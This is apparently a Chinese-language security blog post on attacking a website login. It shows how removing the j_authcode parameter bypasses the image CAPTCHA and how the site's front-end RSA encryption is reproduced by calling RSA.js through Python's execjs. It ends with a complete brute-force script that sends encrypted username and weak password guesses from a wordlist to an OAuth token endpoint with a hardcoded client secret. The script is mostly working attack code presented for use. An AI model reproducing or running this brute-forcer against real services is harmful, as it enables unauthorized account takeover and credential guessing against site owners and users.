某网站登录的时候如下：

然后我去掉j_authcode以及一些无用参数，可以绕过图形验证码

然后这样就可以进行爆破了。但是我们可以看到username和password均经过加密，这究竟是什么加密呢？我们来看看前端代码。

可以看到这里是RSA加密。然后通过断点查看exponent和modulus的值。

值是固定的，搜索后发现就存储在config.js中，也就是说RSA公钥为modulus。
但这是一个256位公钥的RSA加密，在其他环境中几乎找不到这种加密项目，而js中有RSA.js/Barrett.js/BigInt.js这么一个早期项目。这种时候就需要用python去调js代码来进行加密。

先写出js加密的代码来看看效果：

<script src="./rsa/RSA.js" type="text/javascript"></script>
<script src="./rsa/BigInt.js" type="text/javascript"></script>
<script src="./rsa/Barrett.js" type="text/javascript"></script>
<script src="./rsa/config.js" type="text/javascript"></script>
<script>
functiona(paramStr){
    setMaxDigits(130);
    key = new RSAKeyPair(exponent, "", modulus); 
    return encryptedString(key,encodeURIComponent(paramStr));
    }
qqq= a("admin");
alert(qqq);
</script>

这里可以看到和Burp Suite里是一模一样，然后把4个js带html里的js代码合并在同一个文件里，用python的execjs库去调。

import execjs

defrsa(str):
    file = 'RSA.js'
    ctx = execjs.compile(open(file).read())
    js = 'a("'+str+'")'
    params = ctx.eval(js)
    return params
print(rsa("admin"))

最后写出来爆破的脚本：

import requests
import execjs

requests.packages.urllib3.disable_warnings()
defurlpost(username,password):
    rusername = rsa(username)
    rpassword = rsa(password)
    url = "https://x.com/oauth/token"
    header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",
          "X-Requested-With": "XMLHttpRequest",
          "Content-Type": "application/x-www-form-urlencoded"
          }
    cookie = {}
    data = {"username":rusername,
            "password":rpassword,
            "grant_type":"password",
            "scope":"service",
            "client_id":"spm",
            "client_secret":"sinoprof"
            }
    r =requests.post(url,cookies=cookie,headers=header,data=data,allow_redirects=False,verify=False)
    print(r.status_code)
    if r.status_code == 200:
        print(username+password+"success")
        exit()
    else:
        print(username+password+"error")

defrsa(str):
    file = 'RSA.js'
    ctx = execjs.compile(open(file).read())
    js = 'a("'+str+'")'
    params = ctx.eval(js)
    return params

folist= open('user.txt','r')
for i in folist.readlines():
    i = i.replace('\n','')
    urlpost(i,i+"!@#456")
    urlpost(i,i+"!@#123")
    urlpost(i,"123456")

最终效果如下图所示：